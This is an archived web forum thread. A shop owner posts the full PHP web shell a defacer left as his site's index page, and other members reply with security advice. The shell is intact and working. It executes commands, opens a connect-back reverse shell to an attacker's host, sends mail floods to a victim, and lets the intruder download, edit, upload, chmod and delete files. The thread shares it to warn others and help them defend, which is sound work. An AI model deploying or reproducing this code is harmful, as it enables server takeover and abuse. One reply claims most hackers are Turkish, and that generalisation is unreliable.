lextech Posted November 6, 2010 Posted November 6, 2010 I am posting this in hopes that it will help someone by showing you what this person is doing. They are a hacker from v4-team.com and when I got to my website this was the code that had been used. I am unsure how it (or he) gains access, but this is what he leaves behind as your index file. <? //download Files Code $fdownload=$_GET['fdownload']; if ($fdownload <> "" ){ // path & file name $path_parts = pathinfo("$fdownload"); $entrypath=$path_parts["basename"]; $name = "$fdownload"; $fp = fopen($name, 'rb'); header("Content-Disposition: attachment; filename=$entrypath"); header("Content-Length: " . filesize($name)); fpassthru($fp); exit; } ?> <html> <head> <meta http-equiv="Content-Language" content="en-us"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>HACKED By ATesS WHAS HERE? </title> <style> <!-- body {background-color:#000000;color:#FFFFFF} { font-family: Tahoma; font-size: 8pt } --> </style> </head> <body> <? error_reporting(E_ERROR | E_WARNING | E_PARSE); //File Edit $fedit=$_GET['fedit']; if ($fedit <> "" ){ $fedit=realpath($fedit); $lines = file($fedit); echo "<form action='' method='POST'>"; echo "<textarea name='savefile' rows=30 cols=80>" ; foreach ($lines as $line_num => $line) { echo htmlspecialchars($line); } echo "</textarea> <input type='text' name='filepath' size='60' value='$fedit'> <input type='submit' value='save'></form>"; $savefile=$_POST['savefile']; $filepath=realpath($_POST['filepath']); if ($savefile <> "") { $fp=fopen("$filepath","w+"); fwrite ($fp,"") ; fwrite ($fp,$savefile) ; fclose($fp); echo "<script language='javascript'> close()</script>"; } exit(); } ?> <? // CHmod - PRimission $fchmod=$_GET['fchmod']; if ($fchmod <> "" ){ $fchmod=realpath($fchmod); echo "<center><br> chmod for :$fchmod<br> <form method='POST' action=''><br> Chmod :<br> <input type='text' name='chmod0' ><br> <input type='submit' value='change chmod'> </form>"; $chmod0=$_POST['chmod0']; if ($chmod0 <> ""){ chmod ($fchmod , $chmod0); }else { echo "primission Not Allow change Chmod"; } exit(); } ?> <div align="center"> <table border="1" width="100%" id="table1" style="border: 1px dotted #FFCC99" cellspacing="0" cellpadding="0" height="502"> <tr> <td style="border: 1px dotted #FFCC66" valign="top" rowspan="2"> <p align="center"><b> <font face="Tahoma" size="2"><br> </font> <font color="#D2D200" face="Tahoma" size="2"> <span style="text-decoration: none"> <font color="#000000"> <a href="?id=fm&dir=<? echo getcwd(); ?> "> <span style="text-decoration: none"><font color="#ffffff">KLaSِRLeRe GiT</font></span></a></font></span></font></b></p> <p align="center"><b><a href="?id=cmd"> <span style="text-decoration: none"> <font face="Tahoma" size="2" color="#ffffff"> CMD</font></span></a><font face="Tahoma" size="2"> CoNNeT</font></b></p> <p align="center"><b><a href="?id=fake-mail"> <font face="Tahoma" size="2" color="#ffffff"> <span style="text-decoration: none">Fake mail</span></font></a></b></p> <p align="center"><b> <font face="Tahoma" size="2" color="#ffffff"> <a href="?id=cshell"> <span style="text-decoration: none"><font color="#ffffff">Connect Back</font></span></a></font></b></p> <p align="center"><b> <font color="#ffffff" face="Tahoma" size="2"> <a href="?id="> <span style="text-decoration: none"><font color="#ffffff">BaSa DِN</font></span></a></font></b></p> <p> <p align="center"> </td> <td height="422" width="82%" style="border: 1px dotted #FFCC66" align="center"> <? //******************************************************* //Start Programs About US $id=$_GET['id']; if ($id=="") { echo " <font face='Arial Black' color='#808080' size='1'> ***************************************************************************<br> TüRKiS Hackers : WWW.MiLLiHaReKeT.COM <br> Programer : HaCKeD By ATesS <br> Note : ATesS||Attacker MiLLiHaReKeT security Group <br> please : If you find bug or problems in program , tell me by : <br> e-mail : [email protected]<br> Enjoy :) [MHT ATesS ] <br> ***************************************************************************</font></span></p> "; echo "<font color='#333333' size='2'>OS :". php_uname(); echo "<br>IP :". ($_SERVER['REMOTE_ADDR']); echo "</font>"; } //************************************************************ //cmd-command line $cmd=$_POST['cmd']; if($id=="cmd"){ $result=shell_exec("$cmd"); echo "<br><center><h3> CMD ExeCute </h3></center>" ; echo "<center> <textarea rows=20 cols=70 >$result</textarea><br> <form method='POST' action=''> <input type='hidden' name='id' value='cmd'> <input type='text' size='80' name='cmd' value='$cmd'> <input type='submit' value='cmd'><br>"; } //******************************************************** //fake mail = Use victim server 4 DOS - fake mail if ( $id=="fake-mail"){ error_reporting(0); echo "<br><center><h3> Fake Mail- DOS E-mail By Victim Server </h3></center>" ; echo "<center><form method='post' action=''> Victim Mail :<br><input type='text' name='to' ><br> Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br> Comments: <br> <textarea rows='10' cols=50 name='Comments' ></textarea><br> <input type='submit' value='Send Mail Strm ' > </form></center>"; //send Storm Mail $to=$_POST['to']; $nom=$_POST['nom']; $Comments=$_POST['Comments']; if ($to <> "" ){ for ($i = 0; $i < $nom ; $i++){ $from = rand (71,1020000000)."@"."Attacker.com"; $subject= md5("$from"); mail($to,$subject,$Comments,"From:$from"); echo "$i is ok"; } echo "<script language='javascript'> alert('Sending Mail - please waite ...')</script>"; } } //******************************************************** //Connect Back -Firewall Bypass if ($id=="cshell"){ echo "<br>Connect back Shell , bypass Firewalls<br> For user :<br> nc -l -p 1019 <br> <hr> <form method='POST' action=''><br> Your IP & BindPort:<br> <input type='text' name='mip' > <input type='text' name='bport' size='5' value='1019'><br> <input type='submit' value='Connect Back'> </form>"; $mip=$_POST['mip']; $bport=$_POST['bport']; if ($mip <> "") { $fp=fsockopen($mip , $bport , $errno, $errstr); if (!$fp){ $result = "Error: could not open socket connection"; } else { fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n"); while(!feof($fp)){ fputs ($fp," bash # "); $result= fgets ($fp, 4096); $message=`$result`; fputs ($fp,"--> ".$message."\n"); } fclose ($fp); } } } //******************************************************** //Spy File Manager $homedir=getcwd(); $dir=realpath($_GET['dir'])."/"; if ($id=="fm"){ echo "<br><b><p align='left'> Home:</b> $homedir <b> <form action='' method='GET'> Path:</b> <input type='hidden' name='id' value='fm'> <input type='text' name='dir' size='80' value='$dir'> <input type='submit' value='dir'> </form> <br>"; echo " <div align='center'> <table border='1' id='table1' style='border: 1px #333333' height='90' cellspacing='0' cellpadding='0'> <tr> <td width='300' height='30' align='left'><b><font size='2'>File / Folder Name</font></b></td> <td height='28' width='82' align='center'> <font color='#000080' size='2'><b>Size KByte</b></font></td> <td height='28' width='83' align='center'> <font color='#008000' size='2'><b>Download</b></font></td> <td height='28' width='66' align='center'> <font color='#FF9933' size='2'><b>Edit</b></font></td> <td height='28' width='75' align='center'> <font color='#999999' size='2'><b>Chmod</b></font></td> <td height='28' align='center'><font color='#FF0000' size='2'><b>Delete</b></font></td> </tr>"; if (is_dir($dir)){ if ($dh=opendir($dir)){ while (($file = readdir($dh)) !== false) { $fsize=round(filesize($dir . $file)/1024); echo " <tr> <th width='250' height='22' align='left' nowrap>"; if (is_dir($dir.$file)) { echo "<a href='?id=fm&dir=$dir$file'><span style='text-decoration: none'><font size='2' color='#666666'> $file <font color='#FF0000' size='1'>dir</font>"; } else { echo "<font size='2' color='#666666'> $file "; } echo "</a></font></th> <td width='113' align='center' nowrap><font color='#000080' size='2'><b>"; if (is_file($dir.$file)) { echo "$fsize"; } else { echo " "; } echo " </b></font></td> <td width='103' align='center' nowrap>"; if (is_file($dir.$file)){ if (is_readable($dir.$file)){ echo "<a href='?id=fm&fdownload=$dir$file'><span style='text-decoration: none'><font size='2' color='#008000'>download"; }else { echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; } }else { echo " "; } echo " </a></font></td> <td width='77' align='center' nowrap>"; if (is_file($dir.$file)) { if (is_readable($dir.$file)){ echo "<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decoration: none'><font color='#FF9933' size='2'>Edit"; }else { echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; } }else { echo " "; } echo " </a></font></td> <td width='86' align='center' nowrap>"; if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { echo "<font size='1' color='#999999'>Dont in windows"; } else { echo "<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><font size='2' color='#999999'>Chmod"; } echo "</a></font></td> <td width='86'align='center' nowrap><a href='?id=fm&fdelete=$dir$file'><span style='text-decoration: none'><font size='2' color='#FF0000'>Delete</a></font></td> </tr> "; } closedir($dh); } } echo "</table> <form enctype='multipart/form-data' action='' method='POST'> <input type='hidden' name='MAX_FILE_SIZE' value='300000' /> Send this file: <input name='userfile' type='file' /> <inpt type='hidden' name='Fupath' value='$dir'> <input type='submit' value='Send File' /> </form> </div>"; } //Upload Files $rpath=$_GET['dir']; if ($rpath <> "") { $uploadfile = $rpath."/" . $_FILES['userfile']['name']; print "<pre>"; if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "<script language='javascript'> alert('\:D Successfully uploaded.!')</script>"; echo "<script language='javascript'> history.back(2)</script>"; } } //file deleted $frpath=$_GET['fdelete']; if ($frpath <> "") { if (is_dir($frpath)){ $matches = glob($frpath . '/*.*'); if ( is_array ( $matches ) ) { foreach ( $matches as $filename) { unlink ($filename); rmdir("$frpath"); echo "<script language='javascript'> alert('Success! Please refresh')</script>"; echo "<script language='javascript'> history.back(1)</script>"; } } } else{ echo "<script language='javascript'> alert('Success! Please refresh')</script>"; unlink ("$frpath"); echo "<script language='javascript'> history.back(1)</script>"; exit(0); } } ?> </td> </tr> <tr> <td style="border: 1px dotted #FFCC66"> <p align="center"><font color="#666666" size="1" face="Tahoma"><br> Copyright 2004-MiLLiHaReKeT Security<br> DeSiNG By ATesS WHaS HeRe?<br> </font><font color="#c0c0c0" size="1" face="Tahoma"> <a style="TEXT-DECORATION: none" href="http://www.millihareket.com"> <font color="#666666">www.millihareket.com</font></a></font></td> </tr> </table> </div> </body> RC2.2a
Guest Posted November 6, 2010 Posted November 6, 2010 BC, The hack code is irrelevant. The fact is, your website is insecure. You will need to identify and remove all malicious code and anomalous files, install the security patches and 'must have' contributions as described in the security forum and then watch for future attacks. As a side note, ALL of my websites have Turkey IP blocked as MOST hackers seem to reside in that country. Chris
lextech Posted November 6, 2010 Author Posted November 6, 2010 When you consider that some of the things in the hack were used that can be blocked with htaccess, I find it relevant. If you don't know where they are targeting you don't know where to watch out for them. Nothing is truly secure. I'll take all the help I can get. :) I believe the worst vulnerability is thinking you are ahead of them. RC2.2a
Guest Posted November 6, 2010 Posted November 6, 2010 BC, One of the five MUST HAVE security contributions covers .htaccess entries. Again, reading and implementing all of the security patches in the security forum will prevent most all known security issues. Chris
lextech Posted November 6, 2010 Author Posted November 6, 2010 Already did all that, problem I am having is that when I try to add the xss shield to htaccess it kills all the images on my site to red x's so that can't be used. As well when I load IP trap I am unsure of the following instructions: UPdate to the personal / index.php Got rid of some variables that were duplicated and tidied up and simplified the code. To use; download, add your information to lines 15, 50 & 52 then upload to your personal folder. It's simply asking me to update the index file of my OSC installation? RC2.2a
lextech Posted November 6, 2010 Author Posted November 6, 2010 Ok here is my question more clearly....... When I put the IP Trap code in my index file at the bottom it says // Change this line to suit your site header ('Location: http://www.yoursite.com/cAtALoG/blocked.php'); // CHANGE THIS TO YOUR OWN URL ?> So when I put my site in there and I load the index file, it redirects me to yoursite.com/blocked.php Does this mean it is blocking me? RC2.2a
Guest Posted November 11, 2010 Posted November 11, 2010 As a side note, ALL of my websites have Turkey IP blocked as MOST hackers seem to reside in that country. Perhaps but then they just can use a proxy to access your site correct?
Wayne Weedon Posted November 11, 2010 Posted November 11, 2010 Perhaps but then they just can use a proxy to access your site correct? They can, but most often they are lazy and use their Turk Telekom IP's. Another thing I've noticed recently is the number of scripted attacks coming from Compromised web servers that are ordinarily hosting rather normal sites of various types. Or it could be that they have open proxies of course and the attacks are routed. Wayne....
Recommended Posts
Archived
This topic is now archived and is closed to further replies.